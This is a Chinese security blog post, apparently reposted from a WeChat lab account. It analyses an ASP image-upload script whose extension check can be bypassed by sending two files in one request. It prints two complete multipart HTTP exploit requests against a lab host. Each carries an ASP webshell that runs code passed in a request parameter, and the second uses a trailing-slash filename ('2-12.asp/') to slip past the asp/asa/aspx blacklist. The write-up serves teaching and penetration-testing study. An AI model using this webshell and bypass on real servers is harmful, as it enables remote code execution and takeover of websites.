记一次简单的 ASP 双文件上传绕过

admin 2022年4月19日01:26:56评论45 views字数 8833阅读29分26秒阅读模式

今天蜜罐之神来问我一个 asp 文件的问题,说是有上传点和源码,确定有漏洞,但是不知道怎么构造 Payload。刚好跟京东客服小姐姐退货完,就下载了源码,定位到上传功能的 ASP 文件中

代码关于上传的功能主要是在这部分中:

select case PhotoUrlID
        case 1,2,3
        fileExt=lcase(ofile.FileExt)
        if fileEXT="jpg" or fileEXT="gif" or fileEXT="bmp" or fileEXT="jpeg" or fileEXT="png" then
            EnableUpload=true
        end if
        if EnableUpload=false then
            msg="这种文件类型不允许上传!nn只允许上传这几种图片类型:jpg|gif|bmp|jpeg|png|" 
            FoundErr=true
            end if
        case else
        fileExt=lcase(ofile.FileExt)
        arrUpFileType=split(UpFileType,"|")
        for i=0 to ubound(arrUpFileType)
            if fileEXT=trim(arrUpFileType(i)) then
                EnableUpload=true
                exit for
            end if
        next
        if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
            EnableUpload=false
        end if
        if EnableUpload=false then
            msg="这种文件类型不允许上传!nn只允许上传这几种文件类型:" & UpFileType
            FoundErr=true
        end if
        end select  

        strJS="<SCRIPT language=javascript>" & vbcrlf
        if FoundErr<>true then
            randomize
            ranNum=int(900*rnd)+100
            filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt

            ofile.SaveToFile Server.mappath(FileName)   '保存文件

            response.write "文件上传成功!文件大小为:" & cstr(round(oFileSize/1024)) & "K"
            select case PhotoUrlID
                case 1
                    strJS=strJS & "parent.document.form1.smallPhotoUrl.value='" & fileName & "';" & vbcrlf
                    strJS=strJS & "parent.document.form1.picyl.src='" & fileName & "';" & vbcrlf
                    strJS=strJS & "parent.document.form1.picyl.alt='图片已经上传或已经改变';" & vbcrlf
                case 2
                    strJS=strJS & "parent.document.form1.zoomPhotoUrl.value='" & fileName & "';" & vbcrlf
                case 3,4
                    strJS=strJS & "parent.document.form1." & trim(upload.form("inputname")) & ".value='" & fileName & "';" & vbcrlf
                case else
                    strJS=strJS & "parent.document.form1." & trim(upload.form("inputname")) & ".value='" & fileName & "';" & vbcrlf
                    'strJS=strJS & "parent.document.form1.fileSize.value='" & cstr(round(oFileSize/1024/1024)) & "';" & vbcrlf
                    'strJS=strJS & "parent.document.form1.filetype.value='" & fileExt & "';" & vbcrlf
            end select
        else
            strJS=strJS & "alert('" & msg & "');" & vbcrlf
            strJS=strJS & "history.go(-1);" & vbcrlf
        end if
        strJS=strJS & "</script>" & vbcrlf
        response.write strJS

        set file=nothing
    next
    set upload=nothing

首先通过 PhotoUrlID 参数进行 select 操作,按照程序流程,首先来分析当 PhotoUrlID 为 1、2、3 时是什么情况

case 1,2,3
        fileExt=lcase(ofile.FileExt)
        if fileEXT="jpg" or fileEXT="gif" or fileEXT="bmp" or fileEXT="jpeg" or fileEXT="png" then
            EnableUpload=true
        end if
        if EnableUpload=false then
            msg="这种文件类型不允许上传!nn只允许上传这几种图片类型:jpg|gif|bmp|jpeg|png|" 
            FoundErr=true
            end if

首先获取上传文件的后缀名,并且将它转为小写,接着判断文件的小写后缀名是否是 jgp、gif、bmp、jpeg 或 png 如果是的话,则允许上传。如果不允许上传则令 FoundErr 为 true,这个变量在最后执行上传操作的时候如果不为 true 才能上传。

这个写法写得比较死,先看 case else 处

case else
        fileExt=lcase(ofile.FileExt)
        arrUpFileType=split(UpFileType,"|")
        for i=0 to ubound(arrUpFileType)
            if fileEXT=trim(arrUpFileType(i)) then
                EnableUpload=true
                exit for
            end if
        next
        if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
            EnableUpload=false
        end if
        if EnableUpload=false then
            msg="这种文件类型不允许上传!nn只允许上传这几种文件类型:" & UpFileType
            FoundErr=true
        end if

这部分代码中,首先将文件后缀名转为小写,接着将允许的文件名字符串转为一个数组用于遍历。在 for 循环中,如果文件的小写后缀名在刚刚的数组中,则 EnableUpload 变量为 true

同时如果文件的后缀名为 asp、asa 或 aspx 的话,则不允许上传,同上如果不允许上传则令 FoundErr 为 true。

以上就是文件类型的过滤代码,最后就是文件的上传操作

if FoundErr<>true then
            randomize
            ranNum=int(900*rnd)+100
            filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt

            ofile.SaveToFile Server.mappath(FileName)   '保存文件
            /* 剩下的就是根据不同的 PhotoUrlID 做出不同的输出,就不分析了 */

文件的最终需要 FoundErr 不为 true,也就是说需要满足 EnableUpload 不为 false,找到控制 EnableUpload 变量的部分源码

/* 1 2 3 */
if fileEXT="jpg" or fileEXT="gif" or fileEXT="bmp" or fileEXT="jpeg" or fileEXT="png" then
            EnableUpload=true
        end if
/* else */
for i=0 to ubound(arrUpFileType)
            if fileEXT=trim(arrUpFileType(i)) then
                EnableUpload=true
                exit for
            end if
        next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
            EnableUpload=false
        end if

可以看到,第一部分程序只对文件后缀名进行判断,如果属于白名单的后缀名则赋值为 true;第二部分程序多了一种判断,程序后缀名不能为 asp、asa、aspx 这三个。很明显这样的判断存在一个漏洞,那就是如果我上传两个文件,第一个文件满足上传条件使 EnableUpload 为 true,而第二个文件为木马,程序使用的 EnableUpload 还是 true,就可以绕过白名单。

这两部分代码都存在双文件上传的漏洞,第一部分可以使用以下包进行上传。

POST /test/bachang/include_files/Upfile_Photo.asp HTTP/1.1
Host: 192.168.113.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224241241126477839471325931987
Content-Length: 720
Origin: http://192.168.113.131
Connection: close
Referer: http://192.168.113.131/test/bachang/include_files/upload_Photo.asp?PhotoUrlID=2
Cookie: ASPSESSIONIDQQATCRSD=JIDPCEODJOPEENAHGFNHEGGP
Upgrade-Insecure-Requests: 1

-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.png"
Content-Type: application/octet-stream

<%
Class LandGrey
  Private Sub Class_Initialize
    execute    (request("1234"))
  End Sub
End Class

Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.asp"
Content-Type: application/octet-stream

<%
Class LandGrey
  Private Sub Class_Initialize
    execute    (request("1234"))
  End Sub
End Class

Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="Submit"

ÉÏ´«
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="PhotoUrlID"

2
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="inputname"


-----------------------------224241241126477839471325931987--

而第二部分就多了一个验证,如果文件后缀名为 asp、asa、aspx 则将 EnableUpload 改回 false

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
            EnableUpload=false
        end if

由于开发语言使用的是 asp,大部分作用于 windows 服务器,可以使用 windows 不允许的文件名绕过,比如 /

POST /test/bachang/include_files/Upfile_Photo.asp HTTP/1.1
Host: 192.168.113.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224241241126477839471325931987
Content-Length: 720
Origin: http://192.168.113.131
Connection: close
Referer: http://192.168.113.131/test/bachang/include_files/upload_Photo.asp?PhotoUrlID=2
Cookie: ASPSESSIONIDQQATCRSD=JIDPCEODJOPEENAHGFNHEGGP
Upgrade-Insecure-Requests: 1

-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.png"
Content-Type: application/octet-stream

<%
Class LandGrey
  Private Sub Class_Initialize
    execute    (request("1234"))
  End Sub
End Class

Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.asp/"
Content-Type: application/octet-stream

<%
Class LandGrey
  Private Sub Class_Initialize
    execute    (request("1234"))
  End Sub
End Class

Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="Submit"

ÉÏ´«
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="PhotoUrlID"

5
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="inputname"


-----------------------------224241241126477839471325931987--



-END-

记一次简单的 ASP 双文件上传绕过如果本文对您有帮助,来个点赞在看就是对我们莫大的鼓励。记一次简单的 ASP 双文件上传绕过



  推荐关注:






记一次简单的 ASP 双文件上传绕过
弱口令安全实验室正式成立于2022年1月,是思而听(山东)网络科技有限公司旗下的网络安全研究团队,专注于网络攻防技术渗透测试硬件安全安全开发网络安全赛事以及网安线上教育领域研究几大板块。
团队社群氛围浓厚,同时背靠思而听(山东)网络科技有限公司旗下的“知行网络安全教育平台”作为社区,容纳同好在安全领域不断进行技术提升以及技术分享,从而形成良好闭环。

团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。

欢迎对网络安全技术感兴趣的你来加入我们实验室,可在公众号内依次点击【关于我们】-【加入我们】来获取联系方式~


原文始发于微信公众号(弱口令安全实验室):记一次简单的 ASP 双文件上传绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月19日01:26:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次简单的 ASP 双文件上传绕过http://cn-sec.com/archives/920200.html

发表评论

匿名网友 填写信息